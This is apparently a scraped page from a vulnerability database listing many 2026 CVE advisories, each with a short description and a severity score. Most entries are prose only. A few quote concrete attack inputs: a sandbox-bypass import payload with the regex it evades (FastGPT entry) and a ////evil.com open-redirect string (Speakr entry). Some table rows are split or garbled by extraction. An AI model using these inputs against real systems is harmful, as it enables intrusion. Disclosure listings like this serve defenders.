CVE-2026-10180	A vulnerability has been found in TRENDnet TEW-432BRP 3.10B20. Impacted is the function formSysCmd of the file /goform/formSysCmd. Such manipulation of the argument sysCmd leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-10064	A security flaw has been discovered in TRENDnet TEW-432BRP 3.10B20. This affects the function formSetPortTr of the file /goform/formSetPortTr. Performing a manipulation of the argument special_name results in stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-10240	A vulnerability was identified in JeecgBoot up to 3.9.2. The impacted element is an unknown function of the file /airag/airagModel/test. The manipulation of the argument baseUrl leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. A fix is planned for the upcoming release.	6.3	More Details
	A security vulnerability has been detected in Aider-AI Aider 0.86.3. This affects the function requests.get of		

CVE-2026-10177	the file api_docs.py of the component AWS EC2 Metadata Endpoint. The manipulation leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. It is suggested to install a patch to address this issue. The pull request to fix this issue awaits acceptance.	6.3	More Details
CVE-2026-10176	A weakness has been identified in Aider-AI Aider 0.86.3. Affected by this issue is some unknown functionality of the component Code Generation Workflow. Executing a manipulation can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-45626	Arcane is an interface for managing Docker containers, images, networks, and volumes. In 1.18.1 and earlier, GET /environments/{id}/volumes/{volumeName}/browse accepts a path query parameter that is passed to a shell command (sh -c "find ... | while ...") inside an Arcane helper container. The path sanitiser blocks ../ traversal but does not strip Bourne-shell metacharacters such as $() or backticks, and strconv.Quote only escapes Go string metacharacters, not shell substitution sequences. Any authenticated user with access to a browseable volume can execute arbitrary commands inside the helper container; command output is reflected back in the 500 error body.	6.3	More Details
CVE-2026-46416	Microsoft UFO open-source framework for intelligent automation across devices and platforms. In 3.0.1-4-ge2626659, Microsoft UFO creates one shared UFOWebSocketHandler instance and reuses it for multiple authenticated WebSocket connections. The handler stores per-connection protocol objects in mutable instance fields. Each new WebSocket connection overwrites those fields. Later, message handlers send responses through the shared fields instead of through protocol objects bound to the originating connection. As a result, the most recently connected authenticated client can receive protocol responses that belong to another authenticated client.	6.3	More Details
CVE-2026-25599	Missing authentication and clear-text transmission of data from the heat pumps to the control server, combined with the absence of input validation on aggregated data, can lead to stored XSS that enables theft of cookies from the pump’s web control interface. Older Orca heat pump devices communicating with the Orca server over an unencrypted and unauthenticated HTTP connection on a non-secure port specifically enable an attacker to impersonate a legitimate device and inject malicious payloads. This enables the insertion of harmful code directly into the Orca user portal, potentially compromising user accounts, exposing sensitive information, and allowing further unauthorized actions within the portal.	6.3	More Details
CVE-2026-10175	A security flaw has been discovered in Aider-AI Aider 0.86.3. Affected by this vulnerability is the function editor_coder.run of the file auth.py of the component Architect Mode. Performing a manipulation results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-47270	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, pam_usb is a PAM module loaded into the host process (sudo, login, GDM, GNOME Shell). Display managers such as GDM run multiple concurrent authentication threads. Three functions used by the deny_remote feature called the non-reentrant strtok(), which stores state in a single global pointer. If two authentications race, one thread's strtok() call can overwrite the other's in-progress tokenisation pointer, causing incorrect parsing of the tmux session data or the /proc environ scan that backs the remote-session detection logic. Additionally, pusb_tmux_get_client_tty() passed the raw pointer returned by getenv(TMUX) directly to strtok(). getenv() returns a pointer into the live process environment block; strtok() inserts NUL bytes into that block, permanently corrupting the TMUX variable for subsequent code running in the same process. In long-lived display managers this affects all future authentications in that process. The combined effect can cause deny_remote=true to return an incorrect decision for a remote session, or an incorrect decision for a local session, depending on thread interleaving. This vulnerability is fixed in 0.9.0.	6.3	More Details
CVE-2026-10174	A vulnerability was identified in Aider-AI Aider 0.86.3. Affected is an unknown function of the file aider/args.py of the component Pre-commit Hook Handler. Such manipulation of the argument git-commit-verify leads to protection mechanism failure. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10172	A security flaw has been discovered in Bdtask Multi-Store Inventory Management System 1.0. The affected element is the function Upload of the file application/modules/dashboard/controllers/Module.php of the component Component Module. The manipulation of the argument module results in unrestricted upload. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-45283	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.2, and 33.0.0 to before 33.0.1, the files_lock app did not properly validate the ownership of files when processing DAV lock and unlock requests. An authenticated user could lock or unlock files belonging to other users by targeting their absolute WebDAV paths. Additionally, lock tokens were disclosed to unauthorized callers in error responses, allowing attackers to remove token-based locks placed by other users' client applications. It is recommended that the Nextcloud Server is upgraded to 32.0.2 or 33.0.1. It is	6.3	More Details

	recommended that the Nextcloud Enterprise Server is upgraded to 31.0.14.4 or 32.0.2 or 33.0.1		
CVE-2026-10170	A flaw has been found in code-projects Visitor Management System 1.0. Affected by this issue is some unknown functionality of the file /vms/php/phone_0.php. This manipulation of the argument phone causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used.	6.3	More Details
CVE-2026-47274	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, multiple pam_usb helper tools resolved external binaries through the PATH environment variable rather than using absolute paths. An attacker who can influence the process environment during PAM authentication or tool execution could substitute malicious binaries. The affected tools are pamusb-check (src/tmux.c), pamusb-conf (tools/pamusb-conf), and pamusb-keyring-unlock-gnome (tools/pamusb-keyring-unlock-gnome). This vulnerability is fixed in 0.9.0.	6.3	More Details
CVE-2026-10168	A security vulnerability has been detected in OUSL-GROUP-BrinaryBrains School Student Management System up to 1e70e5ad1125b86dca4ee086eb6bb121f17708b6. Affected is the function marks of the file application/controllers/Parents.php. The manipulation of the argument param1 leads to improper control of resource identifiers. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10166	A vulnerability was determined in Edimax BR-6478AC 1.23. The affected element is the function formWlbasic of the file /goform/formWlbasic of the component POST Request Handler. This manipulation of the argument rootAPmac causes command injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.	6.3	More Details
CVE-2026-10223	A weakness has been identified in NousResearch hermes-agent up to 2026.4.30. This affects the function _scan_memory_content of the file tools/memory_tool.py. This manipulation causes injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-10152	A vulnerability was detected in TaleLin lin-cms-spring-boot up to 0.2.1. This issue affects some unknown processing of the file src/main/java/io/github/talelin/lattice/controller/v1/BookController.java of the component book Endpoint. The manipulation results in improper access controls. The attack may be launched remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-42879	FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.	6.3	More Details
CVE-2026-10127	A weakness has been identified in Edimax BR-6478AC 1.23. This affects the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component POST Request Handler. This manipulation of the argument rootAPmac causes command injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-44287	FastGPT is an AI Agent building platform. Prior to 4.15.0-beta1, the JavaScript sandbox worker at projects/code-sandbox/src/pool/worker.ts:356 blocks dynamic import() with the regex /\bimport\s*\(/.test(code). JavaScript syntax accepts a block comment between import and (; the regex matches only ASCII whitespace, and the bytes /, *, *, / are not in the \s character class. The payload import/**/("child_process") parses as a syntactically valid dynamic import that the regex does not detect. Because import() is not wrapped by the safeRequire Proxy (which only proxies require), the attacker loads child_process and calls execSync - arbitrary command execution as uid=100(sandbox) inside the sandbox container. This vulnerability is fixed in 4.15.0-beta1.	6.3	More Details
CVE-2026-10235	A flaw has been found in CodeAstro Ingredients Stock Management System 1.0. This vulnerability affects unknown code of the file /Ingredients-Stock/stock_manager.php. This manipulation of the argument txt_search_category causes sql injection. The attack may be initiated remotely. The exploit has been published and may be used.	6.3	More Details
CVE-2026-30498	A Cross-Site Request Forgery (CSRF) vulnerability was discovered in the delete.php endpoint of Jason2605 AdminPanel 4.0.	6.3	More Details
CVE-2026-9831	A race condition in the shared Extreme Platform ONE IAM Gateway API-key authentication path could, under specific high-concurrency traffic conditions, intermittently allow requests authenticated with an Extreme Platform ONE /IAM-issued API key to receive response data for another tenant. The issue was observed through ExtremeCloud IQ/XIQ API endpoints and validated against both XIQ/XAPI and Extreme Platform ONE /Common Services API paths. XIQ-native tokens and standard OAuth/Bearer JWT authentication were not	6.3	More Details

	affected.		
CVE-2026-10239	A vulnerability was determined in JeecgBoot up to 3.9.2. The affected element is the function WordUtil.addImage of the file /airag/word/edit. Executing a manipulation can lead to server-side request forgery. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. A fix is planned for the upcoming release.	6.3	More Details
CVE-2026-10242	A weakness has been identified in itsourcecode Content Management System 1.0. This impacts an unknown function of the file /instructions.php. This manipulation of the argument topic_id causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-10210	A vulnerability was found in AstrBotDevs AstrBot 4.23.6. Affected by this vulnerability is the function _sanitize_prompt_description of the file astrbot/core/skills/skill_manager.py. The manipulation results in injection. The attack may be performed from remote. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-10101	ACM/MCE assisted-service writes raw referenced pull-secret contents into `InfraEnv.status.conditions[].message` when pull-secret validation fails. A namespace principal with the stock `view` ClusterRole cannot directly read Secrets, but can read `InfraEnv` objects and recover the referenced Secret's `.dockerconfigjson` data from status. This bypasses the Kubernetes/OpenShift RBAC separation between read-only namespace viewers and Secret readers. In the reproduced proof, the same ServiceAccount was denied `get` and `list` on Secrets, but recovered synthetic pull-secret `username`, `password`, `email`, and base64 `auth` fields through `InfraEnv.status`.	6.3	More Details
CVE-2026-10257	A security flaw has been discovered in itsourcecode Content Management System 1.0. This issue affects some unknown processing of the file /admin/update_ss_img.php. The manipulation of the argument topic_id results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.	6.3	More Details
CVE-2026-10194	A weakness has been identified in OFFIS DCMTK 3.7.0. This affects the function DcmQueryRetrieveIndexDatabaseHandle::deleteOldestImages of the file dcmqrdb/libsrc/dcmqrdbi.cc of the component dcmqrscp. Executing a manipulation can lead to heap-based buffer overflow. The attack may be launched remotely. This patch is called 0f78a4ef6f645ea5530166e445e5436a5de58e75. A patch should be applied to remediate this issue.	6.3	More Details
CVE-2026-10279	A vulnerability was identified in hiraishikentaro wezterm-mcp 0.1.0. The affected element is an unknown function of the file src/wezterm_executor.ts of the component switch_pane/write_to_specific_pane. The manipulation of the argument request.params.arguments.pane_id leads to os command injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10209	A vulnerability has been found in code-projects Online Hospital Management System 1.0. Affected is an unknown function of the file appointmentdetail.php of the component Appointment Handler. The manipulation of the argument editid leads to sql injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used.	6.3	More Details
CVE-2026-10205	A security vulnerability has been detected in Metasoft 美特软件 MetaCRM 6.4.0. The impacted element is an unknown function of the file develop/systparam/softlogo/upload.jsp. Such manipulation leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-10204	A weakness has been identified in OFCMS 1.1.3. The affected element is the function Query of the file \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java of the component JSON Query Interface. This manipulation causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10278	A vulnerability was determined in ishayoyo excel-mcp up to 1.0.2. Impacted is an unknown function of the file src/index.ts of the component read_file/write_file. Executing a manipulation of the argument filePath/outputPath can lead to path traversal. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10203	A security flaw has been discovered in OFCMS 1.1.3. Impacted is the function Query of the file \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SystemParamController.java of the component JSON Query Interface. The manipulation results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10297	A vulnerability was identified in itsourcecode Fees Management System 1.0. This affects an unknown part of the file /manage_course.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.	6.3	More Details

CVE-2026-10277	A vulnerability was found in j3k0 mcp-google-workspace up to 831790e7d5c2663325733d9f5579cc339a267c4c. This issue affects the function saveToDisk of the file src/tools/gmail.ts of the component MCP Gmail Tool. Performing a manipulation results in improper access controls. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The patch is named 89c091ecf8b9f9c7291d1af0b1966e271f86551c. It is suggested to install a patch to address this issue.	6.3	More Details
CVE-2026-10258	A weakness has been identified in itsourcecode Content Management System 1.0. Impacted is an unknown function of the file /admin/add_sub_topic.php. This manipulation of the argument topic_id causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.	6.3	More Details
CVE-2026-10296	A vulnerability was determined in itsourcecode Fees Management System 1.0. Affected by this issue is some unknown functionality of the file /ajax.php. Executing a manipulation of the argument Username can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.	6.3	More Details
CVE-2026-10276	A vulnerability has been found in hekmon8 Jenkins-server-mcp 0.1.0. This vulnerability affects the function jobPath of the file src/index.ts of the component get_build_status/get_build_log/trigger_build. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-45157	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 32.0.0 to before 32.0.9, and 33.0.0 to before 33.0.3, when a malicious user has access to a file share of a user, they could use this share token to also access the chunking upload directly and see temporary part files during on going uploads. It is recommended that the Nextcloud Server is upgraded to 32.0.9 or 33.0.3. It is recommended that the Nextcloud Enterprise Server is upgraded to 26.0.13.26, 27.1.11.25, 28.0.14.17, 29.0.16.16, 30.0.17.9, 31.0.14.5, 32.0.9 or 33.0.3	6.3	More Details
CVE-2026-10202	A vulnerability was identified in OFCMS 1.1.3. This issue affects the function Query of the file \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SystemDictController.java of the component JSON Query Interface. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10193	A security flaw has been discovered in OFCMS up to 1.1.3. The impacted element is the function Query of the file ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ComnController.java of the component ComnController. Performing a manipulation of the argument system.user.query results in sql injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10286	A vulnerability was found in CodeAstro Payroll System 1.0. This affects an unknown part of the file /home_employee.php. The manipulation of the argument emp_id results in sql injection. The attack may be performed from remote. The exploit has been made public and could be used.	6.3	More Details
CVE-2026-10265	A vulnerability was identified in itsourcecode Content Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/edit_topic.php. Such manipulation of the argument topic_id leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.	6.3	More Details
CVE-2026-10061	A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. Affected is the function formWPS of the file /goform/formWPS. The manipulation of the argument peerPin results in command injection. The attack can be executed remotely. The exploit has been made public and could be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-10060	A vulnerability has been found in TRENDnet TEW-432BRP 3.10B20. This impacts the function formSetRoute of the file /goform/formSetRoute. The manipulation of the argument ip/mask/gateway leads to command injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-10269	A security vulnerability has been detected in decolua 9router up to 0.4.0. This issue affects the function isAuthenticated of the file src/dashboardGuard.js of the component HTTP Header Handler. The manipulation of the argument Host leads to improper authorization. The attack is possible to be carried out remotely. Upgrading to version 0.4.1 is capable of addressing this issue. The identifier of the patch is 428e2c045cb9c0eb8080e8b580471a9c2eaa95ca. Upgrading the affected component is recommended.	6.3	More Details
CVE-			

2026-9989	Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to bypass same origin policy via a crafted video file. (Chromium security severity: High)	6.3	More Details
CVE-2026-10241	A security flaw has been discovered in jeecgboot The server processes these URLs up to 3.9.1. This affects the function FileDownloadUtils.download2DiskFromNet of the file /airag/app/debug of the component Cloud Instance Metadata Endpoint. The manipulation results in server-side request forgery. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.9.2 mitigates this issue. It is suggested to upgrade the affected component.	6.3	More Details
CVE-2026-10271	A flaw has been found in a4m4 Student-Management-System up to f0c5f6842c5e8c431ff02b5260a565ca844df3a0. The affected element is an unknown function of the file admin/ of the component Admin Endpoint. This manipulation of the argument uid causes execution after redirect. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. Multiple endpoints are affected. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10274	A vulnerability was determined in indrasishbanerjee aem-mcp-server up to b5f833aef9b5dfd17a5991b3b18a8a11edbdc583. This impacts the function getAssetMetadata of the file src/mcp-server.ts of the component Axios Request Flow. Executing a manipulation of the argument assetPath can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.	6.3	More Details
CVE-2026-10182	A vulnerability was determined in TRENDnet TEW-432BRP 3.10B20. The impacted element is the function formWlanSetup of the file /goform/formWlanSetup. Executing a manipulation of the argument enrollee can lead to command injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	6.3	More Details
CVE-2026-10217	A flaw has been found in nextlevelbuilder GoClaw up to 3.11.3. The impacted element is the function handleSave of the file internal/http/tts_config.go of the component RoleAdmin Gateway. This manipulation causes improper privilege management. Remote exploitation of the attack is possible. The exploit has been published and may be used. The project tagged the reported issue as bug.	6.3	More Details
CVE-2026-10212	A vulnerability was identified in AstrBotDevs AstrBot 4.24.2. This affects the function astr_main_agent of the file astrbot/core/astr_main_agent.py. Such manipulation of the argument session_id leads to authorization bypass. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2026-8594	Text::LineFold versions through 2019.001 for Perl duplicate the output based on the number of special break characters. Text::LineFold splits the input string by specific line break characters (such as VT, FF and others) into segments, but applies the break function to the entire string, not just the segment. A side effect of this is that the full input can be duplicated for each segment. Besides being incorrect, this can lead to unexpected resource consumption and possible denial of service. Note that Text::LineFold is part of the Unicode-LineBreak distribution, which may have a higher version number than the module.	6.2	More Details
CVE-2026-0055	In createSessionInternal of PackageInstallerService.java, there is a possible to update a Device Policy Controller (DPC) into an invalid directory due to a path traversal error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	6.2	More Details
CVE-2026-42328	go-ipld-prime is an implementation of the InterPlanetary Linked Data (IPLD) spec interfaces, a batteries-included codec implementations of IPLD for CBOR and JSON, and tooling for basic operations on IPLD objects. Prior to 0.23.0, the DAG-CBOR and DAG-JSON decoders recurse on each nested map or list without a depth limit. A payload containing deeply nested collections causes the decoder to recurse once per level, growing the goroutine stack until the Go runtime terminates the process with a fatal stack overflow (distinct from a recoverable panic). This vulnerability is fixed in 0.23.0.	6.2	More Details
CVE-2026-2237	A use of get request method with sensitive query strings vulnerability in volume encryption of Synology Storage Manager package before 1.0.1-1100 allows local users on Windows to obtain sensitive information.	6.2	More Details
CVE-2018-25423	Arm Whois 3.11 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an oversized input string. Attackers can paste a malicious buffer of 700 bytes into the IP address or domain input field to trigger a denial of service condition.	6.2	More Details
CVE-2026-	libusb before version 1.0.30 contains a NULL pointer dereference vulnerability that allows attackers to crash applications by supplying a malformed USB configuration descriptor where an interface claims bNumEndpoints greater than zero but is followed by a class-specific descriptor whose bLength exceeds the remaining buffer size, causing parse_interface() to return early without allocating the endpoint array.	6.2	More

23679	Attackers can exploit this flaw through libusb_get_active_config_descriptor or libusb_get_config_descriptor by providing crafted descriptors via virtualized USB passthrough, file-based descriptor parsing, or network sources, causing any application iterating over endpoints to dereference a NULL endpoint pointer and crash.		Details
CVE-2026-0009	In multiple locations, there is a possible tapjacking due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	6.2	More Details
CVE-2026-0046	In InputInterceptor of Letterbox.java, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.	6.2	More Details
CVE-2026-9646	A reflected cross-site scripting issue exists in URL handling.	6.1	More Details
CVE-2026-47119	Agent Zero before version 1.15 contains a stored cross-site scripting vulnerability that allows attackers to execute arbitrary JavaScript in the application origin by serving SVG files through the image_get API endpoint without Content-Security-Policy, X-Content-Type-Options, or Content-Disposition headers. Attackers can place a crafted SVG file containing script tags in any path readable by the agent-zero process and lure an authenticated user to the image_get endpoint, causing the browser to execute the malicious script, steal the csrf_token cookie, and perform unauthorized API calls on behalf of the victim.	6.1	More Details
CVE-2026-45307	Speakr is a personal, self-hosted web application designed for transcribing audio recordings. Prior to 0.8.20-alpha, the is_safe_url() helper used to validate post-login redirect targets applied urljoin(request.host_url, target) before parsing, while the controller passed the raw target to redirect(). A scheme-relative input such as ////evil.com resolved to a same-host URL during validation but was emitted verbatim in the Location header, where the browser interpreted it as a network-path-relative redirect to an attacker-controlled host. This vulnerability is fixed in 0.8.20-alpha.	6.1	More Details
CVE-2026-49102	Webmin before 2.640 allows mailboxes/detach.cgi XSS via an SVG document attachment that is viewed in the mailboxes component, because image/svg+xml is used instead of a safe type (e.g., text/plain).	6.1	More Details
CVE-2026-44681	Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.12 and 1.7.1, an unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope. This vulnerability is fixed in 1.6.12 and 1.7.1.	6.1	More Details
CVE-2026-3001	The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in all versions up to, and including, 3.4.6 due to insufficient input sanitization and output escaping. Specifically, the `render_content()` method in `class-search-result-title.php` outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()` or any other escaping function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages via a crafted URL that execute if a user clicks the link, provided the `gutenverse/search-result-title` block is present on the site's search results template.	6.1	More Details
CVE-2026-8906	The WP Promoter plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2025-13593	Origin validation error vulnerability in Synology ActiveProtect Agent before 1.1.0-0439 allows local users to write arbitrary files with restricted content and conduct denial-of-service during installation.	6.1	More Details
CVE-2025-66592	An origin validation error vulnerability in Synology Active Backup for Business Agent before 3.1.0-4967 allows local users to write arbitrary files with restricted content and conduct denial-of-service during installation.	6.1	More Details
CVE-2025-66593	An origin validation error vulnerability in Synology Assistant before 7.0.6-50085 allows local users to write arbitrary files with restricted content and conduct denial-of-service during installation.	6.1	More Details
CVE-2026-47328	Ubuntu Linux 6.8, 6.17 and 7.0 contain AppArmor SAUCE patches which incorrectly attempt to free a pointer which was not previously kmalloc()d, while at the same time leaking allocated memory. The bug can be triggered by an unprivileged local user and can result in the corruption of slab metadata and could lead to resource exhaustion.	6.1	More Details
CVE-2026-	The MinhNhut Link Gateway plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'url' parameter on the redirect page in all versions up to, and including, 3.6.1 due to insufficient input sanitization	6.1	More

3349	and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.		Details
CVE-2026-7660	The Easy Updates Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'paged' parameter in versions up to, and including, 9.0.20 This is due to insufficient input sanitization and output escaping in the pagination() function. This makes it possible for attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page granted they can trick an administrator into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-36324	SourceCodester Doctor Appointment System 1.0 is vulnerable to Cross Site Scripting (XSS) due to improper handling of user supplied input in the user registration functionality in register.php.	6.1	More Details
CVE-2026-42081	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the AMF in Free5GC does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values, as mandated by 3GPP TS 33.501 §6.7.3.1. A malicious gNB can overwrite the AMF's stored UE security capabilities with arbitrary values, which are then propagated in PathSwitchRequest Acknowledge messages and subsequent Handover Request messages. This leads to persistent handover denial-of-service for affected UEs. This vulnerability is fixed in 4.2.2.	6.1	More Details
CVE-2026-8707	The NS Product icon badge plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2026-49384	In JetBrains PyCharm before 2025.3.4 stored XSS in Jupyter notebook Markdown cells was possible	6.1	More Details
CVE-2026-44475	Ella Core is a 5G core designed for private networks. Prior to 1.10.0, Ella Core does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values. A malicious gNB can overwrite Ella Core's stored UE security capabilities for any UE with arbitrary values by sending a single crafted PathSwitchRequest. This vulnerability is fixed in 1.10.0.	6.1	More Details
CVE-2026-49375	In JetBrains TeamCity before 2026.1, 2025.11.5 reflected XSS was possible on the repository download page	6.1	More Details
CVE-2026-8911	The WP AutoBuzz plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This vulnerability bypasses WordPress's DISALLOW_UNFILTERED_HTML protection because the unsanitized value is written directly via update_option at the plugin level, entirely outside of WordPress post content handling.	6.1	More Details
CVE-2026-42253	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache ActiveMQ, Apache ActiveMQ Web. The MessageServlet in the ActiveMQ web console API copies every JMS message property into an HTTP response header without any validation. This can allow overwriting and injecting security headers by setting them on JMS messages that are returned by the servlet. This issue affects Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ Web: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue. The MessageServlet has now been deprecated and disabled by default.	6.1	More Details
CVE-2026-5071	The SocketCAN implementation validates the length of a user-provided buffer containing a socketcan_frame object using only a NET_ASSERT statement in zcan_sendto_ctx() before dereferencing it in socketcan_to_can_frame(). In production builds where assertions are disabled, a userspace application that controls the length passed to a sendto syscall can supply an incomplete or truncated frame, causing socketcan_to_can_frame() to dereference fields beyond the end of the buffer. This results in an out-of-bounds read that can cause denial-of-service crashes or, because the parsed frame contents are transmitted on the network, leak adjacent memory.	6.1	More Details
